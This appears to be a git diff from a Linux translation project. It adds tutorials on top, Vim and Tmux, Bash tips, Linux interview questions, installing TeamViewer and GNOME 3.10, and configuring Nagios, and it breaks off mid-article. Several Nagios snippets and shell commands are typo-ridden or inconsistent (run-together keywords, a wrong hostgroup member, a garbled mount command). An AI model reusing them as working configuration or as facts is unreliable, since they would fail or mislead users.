### 2.7 f: 字段管理 ###
用于选择你想要显示的字段。用'*'标记的是已选择的。
![管理显示列](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png)
上下光标键在字段内导航,左光标键可以选择字段,回车或右光标键确认。
按'<'移动已排序的字段到左边,'>'则移动到右边。
### 2.8 R: 反向排序 ###
切换反向/常规排序。
### 2.9 c: 触发命令 ###
切换是否显示进程启动时的完整路径和程序名。
![完整命令路径](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png)
### 2.10 i: 空闲任务 ###
切换显示空闲任务。
![不显示空闲命令](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png)
### 2.11 V: 树视图 ###
切换树视图。
![树视图](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png)
### 2.12 Z: 改变配色 ###
按下'Z'向用户显示一个改变top命令的输出颜色的屏幕。可以为8个任务区域选择8种颜色。
![定制颜色](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png)
下面显示的是4中颜色显示的top视图。
![彩色显示](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png)
### 2.13 z: 切换彩色显示 ###
切换彩色,即打开或关闭彩色显示。
### 2.14 x 或者 y ###
切换高亮信息:'x'将排序字段高亮显示(纵列);'y'将运行进程高亮显示(横行)。依赖于你的显示设置,你可能需要让输出彩色来看到这些高亮。
![X 和 Y高亮](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png)
### 2.15 u: 特定用户的进程 ###
显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。
![raghu的进程](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png)
### 2.16 n#: 任务的数量 ###
设置最大显示的任务数量
![设置最大显示的任务数量](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png)
### 2.17 k: 结束任务 ###
top命令中最重要的一个命令之一。用于发送信号给任务通常是结束任务
![杀死一个任务](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png)
### 2.18 r: 重新设置优先级 ###
重新设置一个任务的调度优先级。
## 3. 命令行选项: ##
这些命令行选项与上面讨论的命令大多相同。top的输出可以用命令交互操作但是你也可以带参数运行top来设置你想要的效果。
### 3.1 -b: 批处理模式 ###
-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。
### 3.2 -c: 命令/程序名 触发: ###
如上面所讨论到的命令,这个选项会以上次记住的程序/命令显示的状态显示(是否显示完整路径)。
### 3.3 -d: 设置延迟间隔 ###
设置top的显示间隔(以秒计)。比如。
$ top -d 1
将会以1秒的刷新间隔启动top。
### 3.4 -i: 切换显示空闲进程 ###
这个选项设置top命令的上一次记住的**相反的**'i'状态。
### 3.5 -n: 设置迭代数量 ###
用-n选项你可以设置top退出前迭代的次数。
$ top -n 3
将会在刷新输出3次后退出。
### 3.6 -p: 监控特定的PID ###
你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。
### 3.7 -u 或 -U: 用户名 或者 UID ###
可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的同时只可以使用这其中一个选项。当你试图组合使用这些选项时你会得到一个错误:
$ top -p 28453 -u raghu
top: conflicting process selections (U/p/u)
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,60 @@
终端至上将Vim打造成全新的集成开发环境
================================================================================
**让GUI都玩儿蛋去鼠标是你的敌人只有键盘才是你唯一的朋友**
如果把Vim和Tmux结合在一起会发生什么你将拥有完美的编程环境下面是我多年来珍藏的一些不传之秘有了这些你立刻就能轻松打造出属于你的Vim开发环境。
###Tmux相关###
- [Tmux速成班][1]这个不错可以让你快速掌握如何开始使用Tmux。
- 这是我的[tmux.conf配置文件][2],它有一个定制状态栏,可以大大改进颜色主题、优化可读性,里面还有一个必不可少的操作:重设快捷将,因为`Ctrl+b`Vim要用因此它帮你改为了`Ctrl+a`。
- 其实,[构建优化IDE][3]就像写一个bash脚本一样简单。链接内的例子展示了如何编写一个`.sh`脚本来运行你自己的编程环境。
###Vim插件###
- [Vundle][4]Vim的插件管理器用它可以跟踪`.vimrc`文件中的所有插件还可以进行脚本的一键安装、更新或删除。额我会告诉你用它还可以直接在Vim里**搜索**插件吗总之这个插件扩展绝对是居家旅行、杀人越货之Vim必备佳品。
- [Syntastic][5] 可以检测语法是否正确,写代码的时候要想避免低级错误,这个工具必不可少,它的确能**大大提高**你的代码编写速度。
- [Supertab][6],这款插件可以帮助你使用`<Tab>`实现自动补全。它会搜索当前文档中的所有字符串,然后给出所有的匹配项建议。对写代码带来的好处不只是提升速度,还可以避免很多拼写错误。如果有兴趣,在本文最后一部分**用户推荐**,有此插件的替代品。
- [Ack][7]99%的用户会选择用它代替grep。它完美集成在Vim里用户可以直接用它搜索项目文件搜索结果则显示在一个独立的窗口里。在本文最后一部分**用户推荐**,也有此插件的替代品。
- [CtrlP][8] 能够极快的模糊搜索全路径文件、缓冲区、“最近使用”MRU和标签等等纯粹用`VimL`写成专为Vim搜索。
- [NERDTree][9] 可以帮你浏览整个文件系统、打开文件或目录。它以树形结构显示整个文件系统,支持键盘操作和简单的文件系统操作。
- [Sparkup][10]可以帮助你更快的编写HTML代码。支持**类CSS语法**和**完整的HTML扩展**代码。在本文最后一部分**用户推荐**,也有此插件的替代品。
###小贴士###
- [Vimux][11]可以帮你在Vim中与Tmux进行交互。例如在不需要离开Vim的情况下进行测试、编写脚本、建立任务等。
- [《自动安装Vundle》][12]这篇文章介绍了在`.vimrc`配置文件中只需添加几行`VimL`脚本这样每次你在一个新环境中运行Vim的时候它就能自动安装Vundle及所有关联包。在你拷贝Vim配置文件到一个新环境或新的服务器时这是非常有用的。
- [一名开发者的成功故事][13]介绍了他是如何告别他曾经最信任的**MacBook Pro**并改用iPad + Linode在云上开始开发工作。
###用户推荐###
- [YouCompleteMe][14]由Reddit用户hnasarat推荐。它安装起来稍微麻烦一些但是支持非常强大的语法补全包括C、Ruby、Python、PHP等许多语言。
- [Ag][15],由*gckjk*推荐大多数Reddit用户都知道它这是升级版的`ack`速度快了3到5倍。它能读取 `.gitignore``.hgignore`,或者`.agignore`,从而忽略一些被版本控制软件所忽略的匹配文件(译注:不加入版本库的文件,我想你大多数时候没有搜索它的意图)。
- [Emmet][16]由另一个资深reddit用户*damnated*推荐。这是一款`Sparkup`的替代品,可以非常方便快速地用标签标记字符串。链接里有示例演示视频。
- [Unite][17]由网友 basetta推荐它可以作为前面多个插件的集大成者。你可以用它搜索文件就像`CtrlP`),搜索文档内容(就像`ack`或`ag`),还可以在下拉历史或缓冲区间进行自由移动和切换。所有这些功能都集成在了这一个插件里,非常方便!
--------------------------------------------------------------------------------
via: http://devcharm.com/pages/18-vim-is-your-new-ide
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://robots.thoughtbot.com/a-tmux-crash-course
[2]:https://github.com/vrde/dotfiles/blob/master/.tmux.conf
[3]:https://gist.github.com/vrde/7398199
[4]:https://github.com/gmarik/vundle
[5]:https://github.com/scrooloose/syntastic
[6]:https://github.com/ervandew/supertab
[7]:https://github.com/mileszs/ack.vim
[8]:http://kien.github.io/ctrlp.vim/
[9]:https://github.com/scrooloose/nerdtree
[10]:https://github.com/rstacruz/sparkup
[11]:https://github.com/benmills/vimux
[12]:http://www.erikzaadi.com/2012/03/19/auto-installing-vundle-from-your-vimrc/
[13]:http://www.linuxjournal.com/content/swap-your-laptop-ipad-linode
[14]:https://github.com/Valloric/YouCompleteMe
[15]:https://github.com/ggreer/the_silver_searcher
[16]:http://mattn.github.io/emmet-vim/
[17]:https://github.com/Shougo/unite.vim

View File

@ -0,0 +1,108 @@
10 Linux Interview Questions and Answers for Linux Beginners Part 3
================================================================================
Continuing the **Interview Questions** series, with a big thanks for the nice feedback on last two articles of this series, we are here presenting **10 questions** again for interactive learning.
- [11 Basic Linux Interview Questions and Answers Part 1][1]
- [10 Basic Linux Interview Questions and Answers Part II][2]
![](http://www.tecmint.com/wp-content/uploads/2013/12/Basic-Interview-Questions-Part-3.png)
### 1. How will you add a new user (say, tux) to your system.? ###
- useradd command
- adduser command
- linuxconf command
- All of the above
- None of the above
> **Answer** : All of the above commands i.e., **useradd, adduser** and **linuxconf** will add an user to the Linux system.
### 2. How many primary partition is possible on one drive? ###
- 1
- 2
- 4
- 16
> **Answer** : There are a maximum of **4** primary partition possible on a drive.
### 3. The default port for Apache/Http is? ###
- 8080
- 80
- 8443
- 91
- None of the above.
> **Answer** : By default Apache/Http is configured on port **80**.
### 4. What does GNU stand for? ###
- GNUs not Unix
- General Unix
- General Noble Unix
- Greek Needed Unix
- None of the above
> **Answer** : GNU stands for **GNU**s not **Unix**.
### 5. You typed at shell prompt “mysql” and what you got in return was “cant connect to local MySQL server through socket /var/mysql/mysql.sock”, what would you check first. ###
> **Answer** : Seeing the error message, I will first check if mysql is running or not using commands **service mysql status** or **service mysqld status**. If mysql service is not running, starting of the service is required.
**Note**:The above error message can be the result of ill configured **my.cnf** or mysql **user permission**. If mysql service starting doesnt help, you need to see into the above said issues.
### 6. How to Mount a windows ntfs partition on Linux? ###
> **Answer** : First install **ntfs­3g** pack on the system using **apt** or **yum** tool and then use “**mount sudo mount ­t ntfs­3g /dev/<Windows­partition>/<Mount­point>**” command to mount Windows partition on Linux.
### 7. From the following which is not an RPM based OS.? ###
- RedHat Linux
- Centos
- Scientific Linux
- Debian
- Fedora
> **Answer** : The **Debian** operating system is not an **RPM** based and all listed above are **RPM** based except Debian.
### 8. Which command can be used to rename a file in Linux.? ###
- mv
- ren
- rename
- change
- None of the Above
> **Answer** : The **mv** command is used to rename a file in Linux. For example, **mv /path_to_File/original_file_name.extension /Path_to_File/New_name.extension**.
### 9. Which command is used to create and display file in Linux? ###
- ed
- vi
- cat
- nano
- None of the above
Answer : The **cat** command can be used to create and display file in Linux.
### 10. What layer protocol is responsible for user and the application program support such as passwords, resource sharing, file transfer and network management? ###
- Layer 4 protocols
- Layer 5 protocols
- Layer 6 protocols
- Layer 7 protocols
- None of the above
> **Answer** : The **Layer 7 Protocol** is responsible for user and the application program support such as passwords, resource sharing, file transfer and network management.
--------------------------------------------------------------------------------
via: http://www.tecmint.com/linux-interview-questions-and-answers-for-linux-beginners/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.tecmint.com/basic-linux-interview-questions-and-answers/
[2]:http://www.tecmint.com/basic-linux-interview-questions-and-answers-part-ii/

View File

@ -1,3 +1,4 @@
[this is bazz2]
10 basic examples of linux netstat command
================================================================================
### Netstat ###

View File

@ -0,0 +1,62 @@
7 Tips For Becoming A Linux Terminal Power User
================================================================================
The Linux terminal is much more than merely entering commands into it. If you master the basic tricks, it will assist you in mastering the Bash shell that is used as default on a number of Linux distributions.
As stated on howtogeek.com, here are some tips for new users as well as advanced users who may have missed out on something along the way-
**1. Tab Completion** This saves time and is also handy if youre unsure of a file or commands exact name. For instance, theres a file named “really long file name” in the current directory and you wish to delete it. You can type the entire file name, however, you will have to ensure that you escape the space characters properly. In case of multiple files in the current directory which start with the letter r, Bash will not be aware of the one you want.
In the event you have another file named “really very long file name” in the current directory and you hit Tab. Bash will fill in the “really\ “ part for both the files start with that. Post that press Tab again and youll find a list of matching file names.
**2. Pipes** This permits you to transmit the output of a command to another command. In the UNIX philosophy, every program is a small utility that performs one thing well. For instance, the ls command lists out the files in the current directory and the grep command searches its input for a specified term.
You can combine these with pipes (the | character) and search for a file in the current directory. The command given below searches for the word “word”:
ls | grep word
**3. Wild Cards** - The * (asterisk) character is a wild card for matching anything. For instance, if you want to delete both “really long file name” and “really very long file name” from the current directory, you can run the following command:
rm really*name
This command deletes all files with file names starting with “really” and ending with “name.” However, in case you ran rm * instead, you would end up deleting every file in the current directory.
**4. Output Redirection** - The > character redirects a commands output to a file in place of another command. For instance, the following line runs the ls command to list the files in the current directory and in lieu of printing that list to the terminal, it prints to a file named “file1” in the current directory:
ls > file1
**5. Command History** Bash memorizes history of the commands you enter into it. The up and down arrow keys can be used to scroll through recent commands used by you. The history command prints out a list of these commands for piping it to grep in order to search for commands used by you recently.
~, . & ..
The ~ character also called the tilde is used to show the current users home directory. So in lieu of typing cd /home/name for going to your home directory, you can type cd ~. This also functions with relative paths cd ~/Desktop to go to the current users desktop.
In the same way, the . is for the current directory and the .. is for the directory above the current directory. So, cd .. goes up a directory. It functions with relative paths for instance when you are in your Desktop folder and wish to go to the Documents folder, that is in the same directory as the Desktop folder, you can make use of the cd ../Documents command.
**6. Running a Command in the Background** Bash by default executes every command that is run by you in the current terminal. Its normally okay but what if you wish to launch an application and maintain utilizing the terminal? By typing firefox for launching Firefox, it will take charge of your terminal and show error messages and other output till you have closed it. You can use the & operator to the end of the command for Bash to execute the program in the backdrop.
firefox &
**7. Conditional Execution** Bash can also run two commands sequentially. The second command can only execute when the first command is completed with success. For doing this, you can put both commands on the same line segregated by a &&, or double ampersand. The command given below will wait for five seconds, and start the gnome-screenshot tool:
sleep 5 && gnome-screenshot
--------------------------------------------------------------------------------
via: http://www.efytimes.com/e1/fullnews.asp?edid=123564
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:
[2]:
[3]:
[4]:
[5]:
[6]:
[7]:
[8]:
[9]:
[10]:
[11]:
[12]:

View File

@ -1,3 +1,4 @@
Vic020的WC
CentOS 6.5 desktop installation guide with screenshots
================================================================================
### CentOS 6.5 released ###

View File

@ -0,0 +1,50 @@
Daily Ubuntu Tips TeamViewer 9 Is Available For Download
================================================================================
TeamViewer, the popular remote support and desktop sharing tool has been updated to version 9 for Windows, Mac OS X and Linux computers, including Ubuntu. TeamViewer allows you to control any computer over the internet from anywhere.
Its a also a great tool to have if youre in the business or helping folks troubleshoot computer related issues such as virus removal and/or sharing your screen with someone who is at a remote location.
Here is an example of how this support tool can be used.
I recently got a call from my mother who was trying to figure out how to get a program installed. After spending few minutes over the phone trying to help her get the program without success, I decided to do it myself.
So we both download TeamViewer and within minutes, I was connected to her computer and installing the program myself.
Thats an example of how TeamViewer helps you get stuff done. If youre going to be using TeamViewer to help your customers or clients, you may have to purchase a license to comply with the companys policy.
Another reason I prefer TeamViewer over all other remote support tools is that it allows you to use the program without actually installing it, at least on Windows machines. If you only need to use it once, then just run it without taking up valuable disk space.
Now TeamViewer works on almost all operating systems, including Android and IOS.
Windows users can [download TeamViewer from here][1].
Ubuntu users can [download and run TeamViewer from this link][2].
To easily install TeamViewer in Ubuntu, run the commands below to download the installer.
wget http://download.teamviewer.com/download/teamviewer_linux.deb
For **64-bit systems**, use the link below.
wget http://download.teamviewer.com/download/teamviewer_linux_x64.deb
Finally, run the commands below to install it.
sudo dpkg -i teamviewer_linux*.deb; sudo apt-get -f install
Enjoy!
![](http://www.liberiangeek.net/wp-content/uploads/2013/12/teamviewer9ubuntu.png)
If the commands above dont work for you, then go to TeamViewer [download page and download a copy][2].
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-teamviewer-9-is-available-for-download/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.teamviewer.com/en/download/windows.aspx
[2]:http://www.teamviewer.com/en/download/linux.aspx

View File

@ -1,23 +0,0 @@
Vic020走起
GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode
================================================================================
[GCC 4.9][1] with [its many new features][2] is aiming for a release in the first half of 2014. As of this morning the GCC code-base will not accept new features as it's under a big-fixing-only flag.
Richard Biener announced this morning that trunk is now in stage three, so that after eight months of allowing features into GCC for the 4.9 release, nothing new will be permitted unless an exception is granted by the release managers. Stage 3 allows for general bug-fixing work to be completed while in about two months it will go into the Stage 4 mode of only allowing documentation and regression fixes.
At the moment there are 63 P1 regressions (the most severe regression) for GCC 4.9 followed by 136 P2 regressions, 14 P3 regressions, 88 P4 regressions, and 60 P5 regressions. Not until the 63 regressions of the P1 state have been zeroed out will GCC 4.9 move closer to being released. The GCC 4.9.0 release will likely come some time around Q2'2014.
This morning's GCC 4.9.0 status report can be found on the [GCC mailing list][3]. GCC 4.9 will be a very nice compiler update and competition to next month's release of [LLVM 3.4][4].
--------------------------------------------------------------------------------
via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ
[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html
[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4

View File

@ -0,0 +1,99 @@
How to Upgrade to GNOME 3.10 in Ubuntu 13.10
================================================================================
![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/header-bars.jpg)
**Ubuntu 13.10 ships with the GNOME 3.8 desktop available in its archives. While a dependable, stable and featured alternative to Unity, its also outdated.**
The newer version of the GNOME desktop was released back in September 2013 and comes with a raft of improved features, apps and usability tweaks. From hi-res screen support to new client-side decoration of app windows, GNOME 3.10 is a compelling upgrade.
The good news is that providing youre running Ubuntu 13.10, have a decent internet connection, and some command line aptitude (pun fully intended) you dont have to stick with a stale version of GNOME.
### How To Upgrade to GNOME 3.10 in Ubuntu 13.10 ###
For the benefit of the skim readers whose eyes dropped straight to the point Ill reiterate: you **need to be running Ubuntu 13.10 to install GNOME 3.10**.
First, lets add the GNOME 3 PPA to Ubuntus Software Sources. This can be done using a GUI but it is far easier to achieve using the command line.
Open a new *Terminal* window and enter the following command, entering your user password when asked:
sudo add-apt-repository ppa:gnome3-team/gnome3-next && sudo apt-get update
With the PPA added and our package list updated we can move on to installing GNOME 3.10 itself. To do this run the following command, again entering your user password when prompted:
sudo apt-get update && sudo apt-get install gnome-shell ubuntu-gnome-desktop
It can take a while for all the necessary packages and components to be fetched and installed, so try to be patient.
Midway through the installation a prompt will appear in the Terminal asking you to choose what display manager aka “login screen” should be used by default.
This decision is entirely up to you; both Ubuntus Unity Greeter and the **GNOME Display Manager** let you easily switch between desktop sessions (handy if you want to keep Unity or another desktop around) but only GDM offers GNOME-specific features such as lock-screen notifications.
When youre ready to decide make your selection using the up/down arrow keys and hit Enter/Return to confirm. The installation will then proceed.
### Adding The Extra Stuff ###
![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/gnome-music.jpg)
GNOME 3.10 comes with some great new features, applications [including GNOME Weather, Music and Maps][1] and other miscellaneous changes. Because not all of these are considered stable enough to be included in the main GNOME 3 PPA we added earlier, youll need to make use of an additional pair of GNOME PPAs if you want to use them.
Now and its important youre aware of this some of the packages in these repositories are reported to have stability issues. Most of these will be minor i.e., the odd app crash or broken feature but the potential for more major issues, like making GNOME crash entirely, is possible.
Warning out of the way, open up a new tab in a Terminal and punch in the following:
sudo add-apt-repository ppa:gnome3-team/gnome3-staging
sudo add-apt-repository ppa:gnome3-team/gnome3
sudo apt-get update && sudo apt-get dist-upgrade
To add some of the cool apps we mentioned earlier run:
sudo apt-get install gnome-weather gnome-music gnome-maps cheese gnome-documents
With that were done!
You may wish to log out and back in (remembering to select the GNOME session) to ensure that everything takes effect correctly.
### Minor Differences ###
If youve kept Unity installed alongside GNOME 3.10 then there are a few things youll need to note down.
First off, youll find **two entries for Online Accounts in System Settings**. The one with the key-themed icon is the Unity version, and the one with the plug emblem is GNOMEs.
Some apps will require you to add accounts to the Unity version (Shotwell, Gwibber, Empathy) and some to the GNOME one (Evolution, Documents, Contacts).
![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/04/online-accounts.jpg)
The Notifications and Search entries are GNOME-specific, both letting you pick and choose which applications and sources are able to show notifications or appear in the Activities Overlay.
### Uninstalling GNOME 3.10 ###
So youve tried it and didnt like it. Now what?
Removing GNOME 3.10 is a fairly straightforward processing providing we use a command-line tool called PPA Purge. It can be found in the Ubuntu Software Center and is by far the easiest way to automatically remove and/or downgrade packages installed from PPAs.
- [Install PPA Purge from Ubuntu Software Center][2]
To use the tool well need to go back to the terminal and enter the following, taking care to look out for any prompts that may appear during the downgrade process.
sudo ppa-purge ppa:gnome3-team/gnome3-next
If you also added the optional extra PPAs you will also need to purge those as well:
sudo ppa-purge ppa:gnome3-team/gnome3-staging
sudo ppa-purge ppa:gnome3-team/gnome3
Once completed you should be left with the stock GNOME 3.8 desktop. If you dont want to keep GNOME Shell around at all you can proceed to remove it:
sudo apt-get remove gnome-shell ubuntu-gnome-desktop
Finally, manually remove any remaining applications that persist after downgrade (e.g., Epiphany and GNOME Documents), then reboot.
--------------------------------------------------------------------------------
via: http://www.omgubuntu.co.uk/2013/12/upgrade-gnome-3-10-ubuntu-13-10
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.omgubuntu.co.uk/2013/09/gnome-3-10-released-with-new-apps-experimental-wayland-support
[2]:apt:ppa-purge

View File

@ -0,0 +1,369 @@
How to install and configure Nagios on Linux
================================================================================
[Nagios][1] is one of the most powerful network monitoring systems, which is widely used in the industry. It can actively monitor any network, and generate audio/email warnings and alerts when any problem is detected. The check types and alert timers are fully customizable.
Another incredible capability of Nagios is that it can monitor both hosts and services e.g., it can monitor IP addresses and TCP/UDP port numbers. To explain a little, let us assume that there is a web server that we want to monitor. Nagios can check whether the server is online by running ping on the IP/name of the server as well as it can be set up to provide warnings in case the round trip time (RTT) to the server increases. Further, Nagios can also check whether TCP port 80 (web server) is reachable e.g., the server is online but Apache/IIS is not responding.
There are also 3rd party monitoring tools that are based on Nagios, such as [Centreon][2], [FAN][3] , [op5 Monitor][4], which supplement standalone Nagios engine in terms of interface, automation, and technical support.
This tutorial explains **how to install and configure Nagios on Linux**.
### Install Nagios on Debian or Ubuntu ###
On a Debian-based system, the installation in itself is a very simple process thanks to apt-get.
root@mrtg:~# apt-get install nagios3
The mail server setting can be done during Nagios installation. It can also be configured later when needed.
Note: A valid SMTP configuration is needed for Nagios to be able send email notifications.
[![](http://farm4.staticflickr.com/3809/11198373625_cdacef2275_z.jpg)][5]
As it can be seen, Nagios supports multiple options for email delivery. The most common options would be Internet Site where the server sends email directly to the recipient. Another widely used option is using smarthost or relay server, in which the server sends the email to an intermediary mail server which in turn is responsible for delivering the mail to the recipient.
Next, the domain name of the server has to be included in the next step.
[![](http://farm8.staticflickr.com/7384/11198394746_f4d42300b5_z.jpg)][6]
Finally, the password for the Nagios admin user nagiosadmin is set. This value can also be changed later.
[![](http://farm4.staticflickr.com/3759/11198378964_5d7f6638e8_z.jpg)][7]
### Install Nagios on CentOS or RHEL ###
yum is used for installation. After [setting up the repoforge repository][8], run yum as follows.
[root@mrtg ~]# yum install nagios nagios-plugins
### Requirements for Monitoring ###
In this tutorial, we want to monitor the following.
1. All Linux server will be checked every 3 minutes.
1. All Cisco Routers will be checked every 3 minutes.
1. All email alerts should go to the address sentinel@example.tst.
1. Nagios will verify 3 times before sending out any alerts just to be sure that the problem is real.
1. If the RTT to any device exceeds 100 ms and/or packet loss exceeds 20%, email alert will be generated.
The rest of the tutorial will guide you to configure Nagios on Linux.
### Nagios Configuration on Ubuntu ###
It is important to know where Nagios configuration files are located. The following table shows the location of Nagios configuration files on Debian-based systems.
/etc/nagios-plugins Customizable scripts used for monitoring
/etc/nagios3 Configuration files to add hosts, services, define checks and timers
/usr/lib/nagios/plugins Executable files used for monitoring
The following steps are inter-related. Hosts, groups for hosts and adding services to host groups are defined.
### Adding Host Template ###
The templates defining what to do with a type host is defined. We use the files provided with the installation as sample.
First, define a host template for Linux devices
root@mrtg:~# cd /etc/nagios3/conf.d
root@mrtg:/etc/nagios3/conf.d/# cp generic-host_nagios2.cfg linux-server.cfg
Edit linux-server.cfg as follows. The parts with bold font are modified.
root@mrtg:/etc/nagios3/conf.d/# vim linux-server.cfg
> define host{
> name linux-server
> notifications_enabled 1
> event_handler_enabled 1
> flap_detection_enabled 1
> failure_prediction_enabled 1
> process_perf_data 1
> retain_status_information 1
> retain_nonstatus_information 1
> check_command example-host-check ; the script to be used while checking
> check_interval 3 ; the interval between consecutive checks
> max_check_attempts 3 ; number of rechecking before generating email alerts
> notification_interval 0
> notification_period 24x7
> notification_options d,u,r
> contact_groups admins ; the group where emails will be sent
> register0
> }
Next, define a host template for Cisco devices.
root@mrtg:/etc/nagios3/conf.d/# cp linux-server.cfg cisco-device.cfg
Modify cisco-device.cfg as follows. The bold-font parts are modified.
root@mrtg:/etc/nagios3/conf.d/# vim cisco-device.cfg
> # The highlighted parts are modified
> define host{
> name cisco-device
> notifications_enabled 1
> event_handler_enabled 1
> flap_detection_enabled 1
> failure_prediction_enabled 1
> process_perf_data 1
> retain_status_information 1
> retain_nonstatus_information 1
> check_command example-host-check ; the script to be used while checking
> check_interval 3 ; the interval between consecutive checks
> max_check_attempts 3 ; number of rechecking before generating email alerts
> notification_interval 0
> notification_period 24x7
> notification_options d,u,r
> contact_groups admins ; the group where emails will be sent
> register 0
> }
### Adding Host ###
Now that the host template is defined, the actual host to be monitored is added. Again, the files provided by default are used as sample.
root@mrtg:/etc/nagios3/conf.d/# cp localhost_nagios2.cfg example.cfg
root@mrtg:/etc/nagios3/conf.d/# vim example.cfg
> # Host 1
> define host{
> use linux-server ; Name of host template to use
> host_name our-server ; The hostname to be used by nagios
> alias our-server
> address 172.17.1.23 ; The IP address of the host
> }
>
> # Host 2
> define host{
> use cisco-device ; Name of host template to use
> host_name our-router ; The hostname to be used by nagios
> alias our-router
> address 172.17.1.1 ; The IP address of the host
> }
### Host Group Definition ###
For ease of management when there are multiple hosts, it is advisable that hosts of similar types are grouped together.
root@mrtg:/etc/nagios3/conf.d/# vim hostgroups_nagios2.cfg
> definehostgroup {
> hostgroup_name linux-server ; the name of the host group
> alias Linux Servers
> members our-server ; comma separated list of members
> }
>
> definehostgroup {
> hostgroup_name cisco-device ; the name of the host group
> alias Cisco Devices
> members our-server ; comma separated list of members
> }
### Service Definition ###
First, the command example-host-check is defined with warning value of 100 ms for latency and 20% for packet loss. Critical values are 5000 ms for latency and 100% packet loss. One IPv4 ping request is transmitted.
root@mrtg:~# vim /etc/nagios-plugins/config/ping.cfg
> define command{
> command_name example-host-check
> command_line /usr/lib/nagios/plugins/check_ping -H '$HOSTADDRESS$' -w 100,20% -c 5000,100% -p 1 -4
> }
Then, the command is associated with host groups.
root@mrtg:/etc/nagios3/conf.d/# vim services_nagios2.cfg
> define service {
> hostgroup_name linux-server
> service_description Linux Servers
> check_command example-host-check
> use generic-service
> notification_interval 0 ; set 0 if you want to be renotified
> }
>
> define service {
> hostgroup_name cisco-device
> service_description Cisco Devices
> check_command example-host-check
> use generic-service
> notification_interval 0 ; set 0 if you want to be renotified
> }
### Contact Definition ###
The required address for sending email added to Nagios.
> define contact{
> contact_name root
> alias Root
> service_notification_period 24x7
> host_notification_period 24x7
> service_notification_options w,u,c,r
> host_notification_options d,r
> service_notification_commands notify-service-by-email
> host_notification_commands notify-host-by-email
> email root@localhost, sentinel@example.tst
> }
Finally, a dry run is initiated to check whether there are any configuration errors. If there are no errors, Nagios can be (re)started safely.
root@mrtg:~#nagios v /etc/nagios3/nagios.cfg
root@mrtg:~# service nagios3 restart
### Nagios Configuration on CentOS/RHEL ###
The following shows the locations of Nagios configuration files on Redhat-based systems.
> /etc/nagios/objects Configuration files to add hosts, services, define checks and timers
> /usr/lib/nagios/plugins Executable files used for monitoring
### Adding Host Template ###
A template is created to define what needs to be done for a specific type of host. The files provided with the installation is modified.
[root@mrtg objects]# cd /etc/nagios/objects/
[root@mrtg objects]# vim templates.cfg
> define host{
> name linux-server
> use generic-host
> check_period 24x7
> check_interval 3
> retry_interval 1
> max_check_attempts 3
> check_command example-host-check
> notification_period 24x7
> notification_interval 0
> notification_options d,u,r
> contact_groups admins
> register 0
> }
>
> define host{
> name cisco-router
> use generic-host
> check_period 24x7
> check_interval 3
> retry_interval 1
> max_check_attempts 3
> check_command example-host-check
> notification_period 24x7
> notification_interval 0
> notification_options d,u,r
> contact_groups admins
> register 0
> }
### Adding Hosts and Host Groups ###
The configuration file provided with by default is used as a sample. The hosts and host groups are added in the same file.
[root@mrtg objects]# cp localhost.cfg example.cfg
[root@mrtg objects]# vim example.cfg
> #Adding Linux server
> define host{
> use linux-server
> host_name our-server
> alias our-server
> address 172.17.1.23
> }
>
> #Adding Cisco Router
> define host{
> use cisco-router
> host_name our-router
> alias our-router
> address 172.17.1.1
> }
>
> # HOST GROUP DEFINITION
> define hostgroup{
> hostgroup_name linux-servers
> alias Linux Servers
> members our-server
> }
>
> define hostgroup{
> hostgroup_name cisco-router
> alias cisco-router
> members our-router
> }
### Service Definition ###
